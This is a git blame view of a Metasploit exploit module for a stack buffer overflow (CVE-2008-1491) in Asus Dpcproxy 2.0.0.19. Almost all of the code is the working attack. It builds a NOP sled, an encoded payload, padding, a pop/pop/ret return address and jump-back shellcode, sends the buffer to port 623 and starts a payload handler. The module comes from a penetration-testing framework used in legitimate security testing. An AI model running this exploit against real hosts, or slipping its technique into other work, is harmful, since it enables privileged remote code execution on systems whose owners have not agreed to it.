Files
metasploit-gs/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

68 lines
1.9 KiB
Ruby
Raw Normal View History

2009-12-15 18:47:29 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-15 18:47:29 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = AverageRanking
2009-12-15 18:47:29 +00:00
include Msf::Exploit::Remote::Tcp
2009-12-15 18:47:29 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Asus Dpcproxy Buffer Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
2009-12-15 18:47:29 +00:00
It should be vulnerable until version 2.0.0.24.
Credit to Luigi Auriemma
2025-06-20 13:20:44 +01:00
},
'Author' => 'Jacopo Cervini',
'References' => [
2009-12-15 18:47:29 +00:00
[ 'CVE', '2008-1491' ],
[ 'OSVDB', '43638' ],
2009-12-15 18:47:29 +00:00
[ 'BID', '28394' ],
],
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2009-12-15 18:47:29 +00:00
'EXITFUNC' => 'process',
},
2025-06-20 13:20:44 +01:00
'Payload' => {
'Space' => 400,
2009-12-15 18:47:29 +00:00
'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Targets' => [
[ 'Asus Dpcroxy version 2.00.19 Universal', { 'Ret' => 0x0040273b } ], # p/p/r
2009-12-15 18:47:29 +00:00
],
2025-06-20 13:20:44 +01:00
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => '2008-03-21',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2009-12-15 18:47:29 +00:00
register_options([Opt::RPORT(623)])
2009-12-15 18:47:29 +00:00
end
def exploit
connect
2025-06-20 13:20:44 +01:00
sploit = make_nops(0x38a - payload.encoded.length) + payload.encoded + rand_text_english(6032)
2009-12-15 18:47:29 +00:00
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
2025-06-20 13:20:44 +01:00
sploit << [target.ret].pack('V') + make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string # jmp back
2009-12-15 18:47:29 +00:00
sploit << make_nops(50)
print_status("Trying target #{target.name}...")
sock.put(sploit)
2025-06-20 13:20:44 +01:00
select(nil, nil, nil, 3) # =(
2009-12-15 18:47:29 +00:00
handler
disconnect
end
2009-05-13 17:39:42 +00:00
end